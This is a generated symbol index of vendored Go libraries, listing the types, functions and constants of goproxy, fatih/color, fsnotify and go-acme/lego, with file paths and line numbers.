  type RespCondition (line 22) | type RespCondition interface
  type ReqConditionFunc (line 27) | type ReqConditionFunc
    method HandleReq (line 32) | func (c ReqConditionFunc) HandleReq(req *http.Request, ctx *ProxyCtx) ...
    method HandleResp (line 38) | func (c ReqConditionFunc) HandleResp(resp *http.Response, ctx *ProxyCt...
  type RespConditionFunc (line 30) | type RespConditionFunc
    method HandleResp (line 42) | func (c RespConditionFunc) HandleResp(resp *http.Response, ctx *ProxyC...
  function UrlHasPrefix (line 50) | func UrlHasPrefix(prefix string) ReqConditionFunc {
  function UrlIs (line 62) | func UrlIs(urls ...string) ReqConditionFunc {
  function ReqHostMatches (line 76) | func ReqHostMatches(regexps ...*regexp.Regexp) ReqConditionFunc {
  function ReqHostIs (line 89) | func ReqHostIs(hosts ...string) ReqConditionFunc {
  function UrlMatches (line 113) | func UrlMatches(re *regexp.Regexp) ReqConditionFunc {
  function DstHostIs (line 121) | func DstHostIs(host string) ReqConditionFunc {
  function SrcIpIs (line 128) | func SrcIpIs(ips ...string) ReqCondition {
  function Not (line 140) | func Not(r ReqCondition) ReqConditionFunc {
  function ContentTypeIs (line 148) | func ContentTypeIs(typ string, types ...string) RespCondition {
  function StatusCodeIs (line 166) | func StatusCodeIs(codes ...int) RespCondition {
  method OnRequest (line 185) | func (proxy *ProxyHttpServer) OnRequest(conds ...ReqCondition) *ReqProxy...
  type ReqProxyConds (line 191) | type ReqProxyConds struct
    method DoFunc (line 197) | func (pcond *ReqProxyConds) DoFunc(f func(req *http.Request, ctx *Prox...
    method Do (line 208) | func (pcond *ReqProxyConds) Do(h ReqHandler) {
    method HandleConnect (line 231) | func (pcond *ReqProxyConds) HandleConnect(h HttpsHandler) {
    method HandleConnectFunc (line 255) | func (pcond *ReqProxyConds) HandleConnectFunc(f func(host string, ctx ...
    method HijackConnect (line 259) | func (pcond *ReqProxyConds) HijackConnect(f func(req *http.Request, cl...
  type ProxyConds (line 274) | type ProxyConds struct
    method DoFunc (line 281) | func (pcond *ProxyConds) DoFunc(f func(resp *http.Response, ctx *Proxy...
    method Do (line 287) | func (pcond *ProxyConds) Do(h RespHandler) {
  method OnResponse (line 307) | func (proxy *ProxyHttpServer) OnResponse(conds ...RespCondition) *ProxyC...
  function HandleBytes (line 329) | func HandleBytes(f func(b []byte, ctx *ProxyCtx) []byte) RespHandler {

FILE: vendor/github.com/elazarl/goproxy/https.go
  type ConnectActionLiteral (line 20) | type ConnectActionLiteral
  constant ConnectAccept (line 23) | ConnectAccept = iota
  constant ConnectReject (line 24) | ConnectReject
  constant ConnectMitm (line 25) | ConnectMitm
  constant ConnectHijack (line 26) | ConnectHijack
  constant ConnectHTTPMitm (line 27) | ConnectHTTPMitm
  constant ConnectProxyAuthHijack (line 28) | ConnectProxyAuthHijack
  type ConnectAction (line 43) | type ConnectAction struct
  function stripPort (line 49) | func stripPort(s string) string {
  method dial (line 73) | func (proxy *ProxyHttpServer) dial(network, addr string) (c net.Conn, er...
  method connectDial (line 80) | func (proxy *ProxyHttpServer) connectDial(network, addr string) (c net.C...
  type halfClosable (line 87) | type halfClosable interface
  method handleHttps (line 95) | func (proxy *ProxyHttpServer) handleHttps(w http.ResponseWriter, r *http...
  function httpError (line 321) | func httpError(w io.WriteCloser, ctx *ProxyCtx, err error) {
  function copyOrWarn (line 330) | func copyOrWarn(ctx *ProxyCtx, dst io.Writer, src io.Reader, wg *sync.Wa...
  function copyAndClose (line 337) | func copyAndClose(ctx *ProxyCtx, dst, src halfClosable) {
  function dialerFromEnv (line 346) | func dialerFromEnv(proxy *ProxyHttpServer) func(network, addr string) (n...
  method NewConnectDialToProxy (line 357) | func (proxy *ProxyHttpServer) NewConnectDialToProxy(https_proxy string) ...
  method NewConnectDialToProxyWithHandler (line 361) | func (proxy *ProxyHttpServer) NewConnectDialToProxyWithHandler(https_pro...
  function TLSConfigFromCA (line 450) | func TLSConfigFromCA(ca *tls.Certificate) func(host string, ctx *ProxyCt...

FILE: vendor/github.com/elazarl/goproxy/logger.go
  type Logger (line 3) | type Logger interface

FILE: vendor/github.com/elazarl/goproxy/proxy.go
  type ProxyHttpServer (line 15) | type ProxyHttpServer struct
    method filterRequest (line 59) | func (proxy *ProxyHttpServer) filterRequest(r *http.Request, ctx *Prox...
    method filterResponse (line 71) | func (proxy *ProxyHttpServer) filterResponse(respOrig *http.Response, ...
    method ServeHTTP (line 125) | func (proxy *ProxyHttpServer) ServeHTTP(w http.ResponseWriter, r *http...
  function copyHeaders (line 38) | func copyHeaders(dst, src http.Header, keepDestHeaders bool) {
  function isEof (line 51) | func isEof(r *bufio.Reader) bool {
  function removeProxyHeaders (line 80) | func removeProxyHeaders(ctx *ProxyCtx, r *http.Request) {
  type flushWriter (line 110) | type flushWriter struct
    method Write (line 114) | func (fw flushWriter) Write(p []byte) (int, error) {
  function NewProxyHttpServer (line 209) | func NewProxyHttpServer() *ProxyHttpServer {

FILE: vendor/github.com/elazarl/goproxy/responses.go
  function NewResponse (line 17) | func NewResponse(r *http.Request, contentType string, status int, body s...
  constant ContentTypeText (line 32) | ContentTypeText = "text/plain"
  constant ContentTypeHtml (line 33) | ContentTypeHtml = "text/html"
  function TextResponse (line 37) | func TextResponse(r *http.Request, text string) *http.Response {

FILE: vendor/github.com/elazarl/goproxy/signer.go
  function hashSorted (line 21) | func hashSorted(lst []string) []byte {
  function hashSortedBigInt (line 32) | func hashSortedBigInt(lst []string) *big.Int {
  function signHost (line 40) | func signHost(ca tls.Certificate, hosts []string) (cert *tls.Certificate...
  function init (line 107) | func init() {

FILE: vendor/github.com/elazarl/goproxy/websocket.go
  function headerContains (line 13) | func headerContains(header http.Header, name string, value string) bool {
  function isWebSocketRequest (line 24) | func isWebSocketRequest(r *http.Request) bool {
  method serveWebsocketTLS (line 29) | func (proxy *ProxyHttpServer) serveWebsocketTLS(ctx *ProxyCtx, w http.Re...
  method serveWebsocket (line 54) | func (proxy *ProxyHttpServer) serveWebsocket(ctx *ProxyCtx, w http.Respo...
  method websocketHandshake (line 89) | func (proxy *ProxyHttpServer) websocketHandshake(ctx *ProxyCtx, req *htt...
  method proxyWebsocket (line 118) | func (proxy *ProxyHttpServer) proxyWebsocket(ctx *ProxyCtx, dest io.Read...

FILE: vendor/github.com/fatih/color/color.go
  function noColorExists (line 39) | func noColorExists() bool {
  type Color (line 45) | type Color struct
    method Set (line 150) | func (c *Color) Set() *Color {
    method unset (line 159) | func (c *Color) unset() {
    method setWriter (line 167) | func (c *Color) setWriter(w io.Writer) *Color {
    method unsetWriter (line 176) | func (c *Color) unsetWriter(w io.Writer) {
    method Add (line 190) | func (c *Color) Add(value ...Attribute) *Color {
    method prepend (line 195) | func (c *Color) prepend(value Attribute) {
    method Fprint (line 206) | func (c *Color) Fprint(w io.Writer, a ...interface{}) (n int, err erro...
    method Print (line 218) | func (c *Color) Print(a ...interface{}) (n int, err error) {
    method Fprintf (line 229) | func (c *Color) Fprintf(w io.Writer, format string, a ...interface{}) ...
    method Printf (line 239) | func (c *Color) Printf(format string, a ...interface{}) (n int, err er...
    method Fprintln (line 250) | func (c *Color) Fprintln(w io.Writer, a ...interface{}) (n int, err er...
    method Println (line 262) | func (c *Color) Println(a ...interface{}) (n int, err error) {
    method Sprint (line 270) | func (c *Color) Sprint(a ...interface{}) string {
    method Sprintln (line 275) | func (c *Color) Sprintln(a ...interface{}) string {
    method Sprintf (line 280) | func (c *Color) Sprintf(format string, a ...interface{}) string {
    method FprintFunc (line 286) | func (c *Color) FprintFunc() func(w io.Writer, a ...interface{}) {
    method PrintFunc (line 294) | func (c *Color) PrintFunc() func(a ...interface{}) {
    method FprintfFunc (line 302) | func (c *Color) FprintfFunc() func(w io.Writer, format string, a ...in...
    method PrintfFunc (line 310) | func (c *Color) PrintfFunc() func(format string, a ...interface{}) {
    method FprintlnFunc (line 318) | func (c *Color) FprintlnFunc() func(w io.Writer, a ...interface{}) {
    method PrintlnFunc (line 326) | func (c *Color) PrintlnFunc() func(a ...interface{}) {
    method SprintFunc (line 338) | func (c *Color) SprintFunc() func(a ...interface{}) string {
    method SprintfFunc (line 347) | func (c *Color) SprintfFunc() func(format string, a ...interface{}) st...
    method SprintlnFunc (line 356) | func (c *Color) SprintlnFunc() func(a ...interface{}) string {
    method sequence (line 364) | func (c *Color) sequence() string {
    method wrap (line 375) | func (c *Color) wrap(s string) string {
    method format (line 383) | func (c *Color) format() string {
    method unformat (line 387) | func (c *Color) unformat() string {
    method DisableColor (line 394) | func (c *Color) DisableColor() {
    method EnableColor (line 400) | func (c *Color) EnableColor() {
    method isNoColorSet (line 404) | func (c *Color) isNoColorSet() bool {
    method Equals (line 415) | func (c *Color) Equals(c2 *Color) bool {
    method attrExists (line 429) | func (c *Color) attrExists(a Attribute) bool {
  type Attribute (line 51) | type Attribute
  constant escape (line 53) | escape = "\x1b"
  constant Reset (line 57) | Reset Attribute = iota
  constant Bold (line 58) | Bold
  constant Faint (line 59) | Faint
  constant Italic (line 60) | Italic
  constant Underline (line 61) | Underline
  constant BlinkSlow (line 62) | BlinkSlow
  constant BlinkRapid (line 63) | BlinkRapid
  constant ReverseVideo (line 64) | ReverseVideo
  constant Concealed (line 65) | Concealed
  constant CrossedOut (line 66) | CrossedOut
  constant FgBlack (line 71) | FgBlack Attribute = iota + 30
  constant FgRed (line 72) | FgRed
  constant FgGreen (line 73) | FgGreen
  constant FgYellow (line 74) | FgYellow
  constant FgBlue (line 75) | FgBlue
  constant FgMagenta (line 76) | FgMagenta
  constant FgCyan (line 77) | FgCyan
  constant FgWhite (line 78) | FgWhite
  constant FgHiBlack (line 83) | FgHiBlack Attribute = iota + 90
  constant FgHiRed (line 84) | FgHiRed
  constant FgHiGreen (line 85) | FgHiGreen
  constant FgHiYellow (line 86) | FgHiYellow
  constant FgHiBlue (line 87) | FgHiBlue
  constant FgHiMagenta (line 88) | FgHiMagenta
  constant FgHiCyan (line 89) | FgHiCyan
  constant FgHiWhite (line 90) | FgHiWhite
  constant BgBlack (line 95) | BgBlack Attribute = iota + 40
  constant BgRed (line 96) | BgRed
  constant BgGreen (line 97) | BgGreen
  constant BgYellow (line 98) | BgYellow
  constant BgBlue (line 99) | BgBlue
  constant BgMagenta (line 100) | BgMagenta
  constant BgCyan (line 101) | BgCyan
  constant BgWhite (line 102) | BgWhite
  constant BgHiBlack (line 107) | BgHiBlack Attribute = iota + 100
  constant BgHiRed (line 108) | BgHiRed
  constant BgHiGreen (line 109) | BgHiGreen
  constant BgHiYellow (line 110) | BgHiYellow
  constant BgHiBlue (line 111) | BgHiBlue
  constant BgHiMagenta (line 112) | BgHiMagenta
  constant BgHiCyan (line 113) | BgHiCyan
  constant BgHiWhite (line 114) | BgHiWhite
  function New (line 118) | func New(value ...Attribute) *Color {
  function Set (line 133) | func Set(p ...Attribute) *Color {
  function Unset (line 141) | func Unset() {
  function boolPtr (line 439) | func boolPtr(v bool) *bool {
  function getCachedColor (line 443) | func getCachedColor(p Attribute) *Color {
  function colorPrint (line 456) | func colorPrint(format string, p Attribute, a ...interface{}) {
  function colorString (line 470) | func colorString(format string, p Attribute, a ...interface{}) string {
  function Black (line 482) | func Black(format string, a ...interface{}) { colorPrint(format, FgBlack...
  function Red (line 486) | func Red(format string, a ...interface{}) { colorPrint(format, FgRed, a....
  function Green (line 490) | func Green(format string, a ...interface{}) { colorPrint(format, FgGreen...
  function Yellow (line 494) | func Yellow(format string, a ...interface{}) { colorPrint(format, FgYell...
  function Blue (line 498) | func Blue(format string, a ...interface{}) { colorPrint(format, FgBlue, ...
  function Magenta (line 502) | func Magenta(format string, a ...interface{}) { colorPrint(format, FgMag...
  function Cyan (line 506) | func Cyan(format string, a ...interface{}) { colorPrint(format, FgCyan, ...
  function White (line 510) | func White(format string, a ...interface{}) { colorPrint(format, FgWhite...
  function BlackString (line 514) | func BlackString(format string, a ...interface{}) string { return colorS...
  function RedString (line 518) | func RedString(format string, a ...interface{}) string { return colorStr...
  function GreenString (line 522) | func GreenString(format string, a ...interface{}) string { return colorS...
  function YellowString (line 526) | func YellowString(format string, a ...interface{}) string { return color...
  function BlueString (line 530) | func BlueString(format string, a ...interface{}) string { return colorSt...
  function MagentaString (line 534) | func MagentaString(format string, a ...interface{}) string {
  function CyanString (line 540) | func CyanString(format string, a ...interface{}) string { return colorSt...
  function WhiteString (line 544) | func WhiteString(format string, a ...interface{}) string { return colorS...
  function HiBlack (line 548) | func HiBlack(format string, a ...interface{}) { colorPrint(format, FgHiB...
  function HiRed (line 552) | func HiRed(format string, a ...interface{}) { colorPrint(format, FgHiRed...
  function HiGreen (line 556) | func HiGreen(format string, a ...interface{}) { colorPrint(format, FgHiG...
  function HiYellow (line 560) | func HiYellow(format string, a ...interface{}) { colorPrint(format, FgHi...
  function HiBlue (line 564) | func HiBlue(format string, a ...interface{}) { colorPrint(format, FgHiBl...
  function HiMagenta (line 568) | func HiMagenta(format string, a ...interface{}) { colorPrint(format, FgH...
  function HiCyan (line 572) | func HiCyan(format string, a ...interface{}) { colorPrint(format, FgHiCy...
  function HiWhite (line 576) | func HiWhite(format string, a ...interface{}) { colorPrint(format, FgHiW...
  function HiBlackString (line 580) | func HiBlackString(format string, a ...interface{}) string {
  function HiRedString (line 586) | func HiRedString(format string, a ...interface{}) string { return colorS...
  function HiGreenString (line 590) | func HiGreenString(format string, a ...interface{}) string {
  function HiYellowString (line 596) | func HiYellowString(format string, a ...interface{}) string {
  function HiBlueString (line 602) | func HiBlueString(format string, a ...interface{}) string { return color...
  function HiMagentaString (line 606) | func HiMagentaString(format string, a ...interface{}) string {
  function HiCyanString (line 612) | func HiCyanString(format string, a ...interface{}) string { return color...
  function HiWhiteString (line 616) | func HiWhiteString(format string, a ...interface{}) string {

FILE: vendor/github.com/fsnotify/fsnotify/fen.go
  type Watcher (line 15) | type Watcher struct
    method Close (line 26) | func (w *Watcher) Close() error {
    method Add (line 31) | func (w *Watcher) Add(name string) error {
    method Remove (line 36) | func (w *Watcher) Remove(name string) error {
  function NewWatcher (line 21) | func NewWatcher() (*Watcher, error) {

FILE: vendor/github.com/fsnotify/fsnotify/fsnotify.go
  type Event (line 18) | type Event struct
    method String (line 62) | func (e Event) String() string {
  type Op (line 24) | type Op
    method String (line 35) | func (op Op) String() string {
  constant Create (line 28) | Create Op = 1 << iota
  constant Write (line 29) | Write
  constant Remove (line 30) | Remove
  constant Rename (line 31) | Rename
  constant Chmod (line 32) | Chmod

FILE: vendor/github.com/fsnotify/fsnotify/inotify.go
  type Watcher (line 24) | type Watcher struct
    method isClosed (line 64) | func (w *Watcher) isClosed() bool {
    method Close (line 74) | func (w *Watcher) Close() error {
    method Add (line 92) | func (w *Watcher) Add(name string) error {
    method Remove (line 127) | func (w *Watcher) Remove(name string) error {
    method readEvents (line 173) | func (w *Watcher) readEvents() {
  function NewWatcher (line 37) | func NewWatcher() (*Watcher, error) {
  type watch (line 166) | type watch struct
  method ignoreLinux (line 301) | func (e *Event) ignoreLinux(mask uint32) bool {
  function newEvent (line 320) | func newEvent(name string, mask uint32) Event {

FILE: vendor/github.com/fsnotify/fsnotify/inotify_poller.go
  type fdPoller (line 16) | type fdPoller struct
    method wait (line 80) | func (poller *fdPoller) wait() (bool, error) {
    method wake (line 150) | func (poller *fdPoller) wake() error {
    method clearWake (line 163) | func (poller *fdPoller) clearWake() error {
    method close (line 178) | func (poller *fdPoller) close() {
  function emptyPoller (line 22) | func emptyPoller(fd int) *fdPoller {
  function newFdPoller (line 33) | func newFdPoller(fd int) (*fdPoller, error) {

FILE: vendor/github.com/fsnotify/fsnotify/kqueue.go
  type Watcher (line 23) | type Watcher struct
    method Close (line 68) | func (w *Watcher) Close() error {
    method Add (line 95) | func (w *Watcher) Add(name string) error {
    method Remove (line 104) | func (w *Watcher) Remove(name string) error {
    method addWatch (line 160) | func (w *Watcher) addWatch(name string, flags uint32) (string, error) {
    method readEvents (line 262) | func (w *Watcher) readEvents() {
    method watchDirectoryFiles (line 391) | func (w *Watcher) watchDirectoryFiles(dirPath string) error {
    method sendDirectoryChangeEvents (line 417) | func (w *Watcher) sendDirectoryChangeEvents(dirPath string) {
    method sendFileCreatedEventIfNew (line 440) | func (w *Watcher) sendFileCreatedEventIfNew(filePath string, fileInfo ...
    method internalWatch (line 466) | func (w *Watcher) internalWatch(name string, fileInfo os.FileInfo) (st...
  type pathInfo (line 39) | type pathInfo struct
  function NewWatcher (line 45) | func NewWatcher() (*Watcher, error) {
  constant noteAllEvents (line 152) | noteAllEvents = unix.NOTE_DELETE | unix.NOTE_WRITE | unix.NOTE_ATTRIB | ...
  function newEvent (line 369) | func newEvent(name string, mask uint32) Event {
  function newCreateEvent (line 386) | func newCreateEvent(name string) Event {
  function kqueue (line 483) | func kqueue() (kq int, err error) {
  function register (line 492) | func register(kq int, fds []int, flags int, fflags uint32) error {
  function read (line 511) | func read(kq int, events []unix.Kevent_t, timeout *unix.Timespec) ([]uni...
  function durationToTimespec (line 520) | func durationToTimespec(d time.Duration) unix.Timespec {

FILE: vendor/github.com/fsnotify/fsnotify/open_mode_bsd.go
  constant openMode (line 12) | openMode = unix.O_NONBLOCK | unix.O_RDONLY | unix.O_CLOEXEC

FILE: vendor/github.com/fsnotify/fsnotify/open_mode_darwin.go
  constant openMode (line 13) | openMode = unix.O_EVTONLY | unix.O_CLOEXEC

FILE: vendor/github.com/fsnotify/fsnotify/windows.go
  type Watcher (line 22) | type Watcher struct
    method Close (line 52) | func (w *Watcher) Close() error {
    method Add (line 68) | func (w *Watcher) Add(name string) error {
    method Remove (line 86) | func (w *Watcher) Remove(name string) error {
    method wakeupReader (line 178) | func (w *Watcher) wakeupReader() error {
    method addWatch (line 241) | func (w *Watcher) addWatch(pathname string, flags uint64) error {
    method remWatch (line 290) | func (w *Watcher) remWatch(pathname string) error {
    method deleteWatch (line 317) | func (w *Watcher) deleteWatch(watch *watch) {
    method startRead (line 333) | func (w *Watcher) startRead(watch *watch) error {
    method readEvents (line 374) | func (w *Watcher) readEvents() {
    method sendEvent (line 518) | func (w *Watcher) sendEvent(name string, mask uint64) bool {
  function NewWatcher (line 34) | func NewWatcher() (*Watcher, error) {
  constant sysFSONESHOT (line 101) | sysFSONESHOT = 0x80000000
  constant sysFSONLYDIR (line 102) | sysFSONLYDIR = 0x1000000
  constant sysFSACCESS (line 105) | sysFSACCESS     = 0x1
  constant sysFSALLEVENTS (line 106) | sysFSALLEVENTS  = 0xfff
  constant sysFSATTRIB (line 107) | sysFSATTRIB     = 0x4
  constant sysFSCLOSE (line 108) | sysFSCLOSE      = 0x18
  constant sysFSCREATE (line 109) | sysFSCREATE     = 0x100
  constant sysFSDELETE (line 110) | sysFSDELETE     = 0x200
  constant sysFSDELETESELF (line 111) | sysFSDELETESELF = 0x400
  constant sysFSMODIFY (line 112) | sysFSMODIFY     = 0x2
  constant sysFSMOVE (line 113) | sysFSMOVE       = 0xc0
  constant sysFSMOVEDFROM (line 114) | sysFSMOVEDFROM  = 0x40
  constant sysFSMOVEDTO (line 115) | sysFSMOVEDTO    = 0x80
  constant sysFSMOVESELF (line 116) | sysFSMOVESELF   = 0x800
  constant sysFSIGNORED (line 119) | sysFSIGNORED   = 0x8000
  constant sysFSQOVERFLOW (line 120) | sysFSQOVERFLOW = 0x4000
  function newEvent (line 123) | func newEvent(name string, mask uint32) Event {
  constant opAddWatch (line 144) | opAddWatch = iota
  constant opRemoveWatch (line 145) | opRemoveWatch
  constant provisional (line 149) | provisional uint64 = 1 << (32 + iota)
  type input (line 152) | type input struct
  type inode (line 159) | type inode struct
  type watch (line 165) | type watch struct
  type indexMap (line 175) | type indexMap
  type watchMap (line 176) | type watchMap
    method get (line 223) | func (m watchMap) get(ino *inode) *watch {
    method set (line 231) | func (m watchMap) set(ino *inode, watch *watch) {
  function getDir (line 186) | func getDir(pathname string) (dir string, err error) {
  function getIno (line 200) | func getIno(path string) (ino *inode, err error) {
  function toWindowsFlags (line 531) | func toWindowsFlags(mask uint64) uint32 {
  function toFSnotifyFlags (line 548) | func toFSnotifyFlags(action uint32) uint64 {

FILE: vendor/github.com/go-acme/lego/v3/acme/api/account.go
  type AccountService (line 11) | type AccountService
    method New (line 14) | func (a *AccountService) New(req acme.Account) (acme.ExtendedAccount, ...
    method NewEAB (line 31) | func (a *AccountService) NewEAB(accMsg acme.Account, kid string, hmacE...
    method Get (line 47) | func (a *AccountService) Get(accountURL string) (acme.Account, error) {
    method Deactivate (line 61) | func (a *AccountService) Deactivate(accountURL string) error {

FILE: vendor/github.com/go-acme/lego/v3/acme/api/api.go
  type Core (line 22) | type Core struct
    method post (line 64) | func (a *Core) post(uri string, reqBody, response interface{}) (*http....
    method postAsGet (line 75) | func (a *Core) postAsGet(uri string, response interface{}) (*http.Resp...
    method retrievablePost (line 79) | func (a *Core) retrievablePost(uri string, content []byte, response in...
    method signedPost (line 115) | func (a *Core) signedPost(uri string, content []byte, response interfa...
    method signEABContent (line 134) | func (a *Core) signEABContent(newAccountURL, kid string, hmac []byte) ...
    method GetKeyAuthorization (line 144) | func (a *Core) GetKeyAuthorization(token string) (string, error) {
    method GetDirectory (line 148) | func (a *Core) GetDirectory() acme.Directory {
  function New (line 38) | func New(httpClient *http.Client, userAgent string, caDirURL, kid string...
  function getDirectory (line 152) | func getDirectory(do *sender.Doer, caDirURL string) (acme.Directory, err...

FILE: vendor/github.com/go-acme/lego/v3/acme/api/authorization.go
  type AuthorizationService (line 9) | type AuthorizationService
    method Get (line 12) | func (c *AuthorizationService) Get(authzURL string) (acme.Authorizatio...
    method Deactivate (line 26) | func (c *AuthorizationService) Deactivate(authzURL string) error {

FILE: vendor/github.com/go-acme/lego/v3/acme/api/certificate.go
  constant maxBodySize (line 16) | maxBodySize = 1024 * 1024
  type CertificateService (line 18) | type CertificateService
    method Get (line 22) | func (c *CertificateService) Get(certURL string, bundle bool) ([]byte,...
    method Revoke (line 51) | func (c *CertificateService) Revoke(req acme.RevokeCertMessage) error {
    method get (line 57) | func (c *CertificateService) get(certURL string) ([]byte, string, erro...
    method getIssuerFromLink (line 81) | func (c *CertificateService) getIssuerFromLink(up string) ([]byte, err...

FILE: vendor/github.com/go-acme/lego/v3/acme/api/challenge.go
  type ChallengeService (line 9) | type ChallengeService
    method New (line 12) | func (c *ChallengeService) New(chlgURL string) (acme.ExtendedChallenge...
    method Get (line 31) | func (c *ChallengeService) Get(chlgURL string) (acme.ExtendedChallenge...

FILE: vendor/github.com/go-acme/lego/v3/acme/api/internal/nonces/nonce_manager.go
  type Manager (line 13) | type Manager struct
    method Pop (line 29) | func (n *Manager) Pop() (string, bool) {
    method Push (line 43) | func (n *Manager) Push(nonce string) {
    method Nonce (line 50) | func (n *Manager) Nonce() (string, error) {
    method getNonce (line 57) | func (n *Manager) getNonce() (string, error) {
  function NewManager (line 21) | func NewManager(do *sender.Doer, nonceURL string) *Manager {
  function GetFromResponse (line 67) | func GetFromResponse(resp *http.Response) (string, error) {

FILE: vendor/github.com/go-acme/lego/v3/acme/api/internal/secure/jws.go
  type JWS (line 16) | type JWS struct
    method SetKid (line 32) | func (j *JWS) SetKid(kid string) {
    method SignContent (line 37) | func (j *JWS) SignContent(url string, content []byte) (*jose.JSONWebSi...
    method SignEABContent (line 79) | func (j *JWS) SignEABContent(url, kid string, hmac []byte) (*jose.JSON...
    method GetKeyAuthorization (line 109) | func (j *JWS) GetKeyAuthorization(token string) (string, error) {
  function NewJWS (line 23) | func NewJWS(privateKey crypto.PrivateKey, kid string, nonceManager *nonc...

FILE: vendor/github.com/go-acme/lego/v3/acme/api/internal/sender/sender.go
  type RequestOption (line 15) | type RequestOption
  function contentType (line 17) | func contentType(ct string) RequestOption {
  type Doer (line 24) | type Doer struct
    method Get (line 39) | func (d *Doer) Get(url string, response interface{}) (*http.Response, ...
    method Head (line 50) | func (d *Doer) Head(url string) (*http.Response, error) {
    method Post (line 61) | func (d *Doer) Post(url string, body io.Reader, bodyType string, respo...
    method newRequest (line 70) | func (d *Doer) newRequest(method, uri string, body io.Reader, opts ......
    method do (line 88) | func (d *Doer) do(req *http.Request, response interface{}) (*http.Resp...
    method formatUserAgent (line 116) | func (d *Doer) formatUserAgent() string {
  function NewDoer (line 30) | func NewDoer(client *http.Client, userAgent string) *Doer {
  function checkError (line 121) | func checkError(req *http.Request, resp *http.Response) error {

FILE: vendor/github.com/go-acme/lego/v3/acme/api/internal/sender/useragent.go
  constant ourUserAgent (line 8) | ourUserAgent = "xenolf-acme/3.1.0"
  constant ourUserAgentComment (line 13) | ourUserAgentComment = "release"

FILE: vendor/github.com/go-acme/lego/v3/acme/api/order.go
  type OrderService (line 10) | type OrderService
    method New (line 13) | func (o *OrderService) New(domains []string) (acme.ExtendedOrder, erro...
    method Get (line 34) | func (o *OrderService) Get(orderURL string) (acme.Order, error) {
    method UpdateForCSR (line 49) | func (o *OrderService) UpdateForCSR(orderURL string, csr []byte) (acme...

FILE: vendor/github.com/go-acme/lego/v3/acme/api/service.go
  type service (line 8) | type service struct
  function getLink (line 13) | func getLink(header http.Header, rel string) string {
  function getLocation (line 30) | func getLocation(resp *http.Response) string {
  function getRetryAfter (line 39) | func getRetryAfter(resp *http.Response) string {

FILE: vendor/github.com/go-acme/lego/v3/acme/commons.go
  constant StatusPending (line 13) | StatusPending     = "pending"
  constant StatusInvalid (line 14) | StatusInvalid     = "invalid"
  constant StatusValid (line 15) | StatusValid       = "valid"
  constant StatusProcessing (line 16) | StatusProcessing  = "processing"
  constant StatusDeactivated (line 17) | StatusDeactivated = "deactivated"
  constant StatusExpired (line 18) | StatusExpired     = "expired"
  constant StatusRevoked (line 19) | StatusRevoked     = "revoked"
  type Directory (line 24) | type Directory struct
  type Meta (line 36) | type Meta struct
  type ExtendedAccount (line 61) | type ExtendedAccount struct
  type Account (line 70) | type Account struct
  type ExtendedOrder (line 107) | type ExtendedOrder struct
  type Order (line 115) | type Order struct
  type Authorization (line 168) | type Authorization struct
  type ExtendedChallenge (line 200) | type ExtendedChallenge struct
  type Challenge (line 211) | type Challenge struct
  type Identifier (line 253) | type Identifier struct
  type CSRMessage (line 260) | type CSRMessage struct
  type RevokeCertMessage (line 271) | type RevokeCertMessage struct

FILE: vendor/github.com/go-acme/lego/v3/acme/errors.go
  constant errNS (line 9) | errNS       = "urn:ietf:params:acme:error:"
  constant BadNonceErr (line 10) | BadNonceErr = errNS + "badNonce"
  type ProblemDetails (line 16) | type ProblemDetails struct
    method Error (line 36) | func (p ProblemDetails) Error() string {
  type SubProblem (line 30) | type SubProblem struct
  type NonceError (line 56) | type NonceError struct

FILE: vendor/github.com/go-acme/lego/v3/certcrypto/crypto.go
  constant EC256 (line 23) | EC256   = KeyType("P256")
  constant EC384 (line 24) | EC384   = KeyType("P384")
  constant RSA2048 (line 25) | RSA2048 = KeyType("2048")
  constant RSA4096 (line 26) | RSA4096 = KeyType("4096")
  constant RSA8192 (line 27) | RSA8192 = KeyType("8192")
  constant OCSPGood (line 32) | OCSPGood = ocsp.Good
  constant OCSPRevoked (line 34) | OCSPRevoked = ocsp.Revoked
  constant OCSPUnknown (line 36) | OCSPUnknown = ocsp.Unknown
  constant OCSPServerFailed (line 38) | OCSPServerFailed = ocsp.ServerFailed
  type KeyType (line 48) | type KeyType
  type DERCertificateBytes (line 50) | type DERCertificateBytes
  function ParsePEMBundle (line 54) | func ParsePEMBundle(bundle []byte) ([]*x509.Certificate, error) {
  function ParsePEMPrivateKey (line 80) | func ParsePEMPrivateKey(key []byte) (crypto.PrivateKey, error) {
  function GeneratePrivateKey (line 93) | func GeneratePrivateKey(keyType KeyType) (crypto.PrivateKey, error) {
  function GenerateCSR (line 110) | func GenerateCSR(privateKey crypto.PrivateKey, domain string, san []stri...
  function PEMEncode (line 126) | func PEMEncode(data interface{}) []byte {
  function PEMBlock (line 130) | func PEMBlock(data interface{}) *pem.Block {
  function pemDecode (line 147) | func pemDecode(data []byte) (*pem.Block, error) {
  function PemDecodeTox509CSR (line 156) | func PemDecodeTox509CSR(pem []byte) (*x509.CertificateRequest, error) {
  function ParsePEMCertificate (line 171) | func ParsePEMCertificate(cert []byte) (*x509.Certificate, error) {
  function ExtractDomains (line 181) | func ExtractDomains(cert *x509.Certificate) []string {
  function ExtractDomainsCSR (line 195) | func ExtractDomainsCSR(csr *x509.CertificateRequest) []string {
  function containsSAN (line 212) | func containsSAN(domains []string, sanName string) bool {
  function GeneratePemCert (line 221) | func GeneratePemCert(privateKey *rsa.PrivateKey, domain string, extensio...
  function generateDerCert (line 230) | func generateDerCert(privateKey *rsa.PrivateKey, expiration time.Time, d...

FILE: vendor/github.com/go-acme/lego/v3/challenge/challenges.go
  type Type (line 10) | type Type
    method String (line 25) | func (t Type) String() string {
  constant HTTP01 (line 15) | HTTP01 = Type("http-01")
  constant DNS01 (line 19) | DNS01 = Type("dns-01")
  constant TLSALPN01 (line 22) | TLSALPN01 = Type("tls-alpn-01")
  function FindChallenge (line 29) | func FindChallenge(chlgType Type, authz acme.Authorization) (acme.Challe...
  function GetTargetedDomain (line 39) | func GetTargetedDomain(authz acme.Authorization) string {

FILE: vendor/github.com/go-acme/lego/v3/challenge/provider.go
  type Provider (line 9) | type Provider interface
  type ProviderTimeout (line 25) | type ProviderTimeout interface

FILE: vendor/github.com/go-acme/lego/v3/challenge/tlsalpn01/tls_alpn_challenge.go
  type ValidateFunc (line 22) | type ValidateFunc
  type Challenge (line 24) | type Challenge struct
    method SetProvider (line 38) | func (c *Challenge) SetProvider(provider challenge.Provider) {
    method Solve (line 43) | func (c *Challenge) Solve(authz acme.Authorization) error {
  function NewChallenge (line 30) | func NewChallenge(core *api.Core, validate ValidateFunc, provider challe...
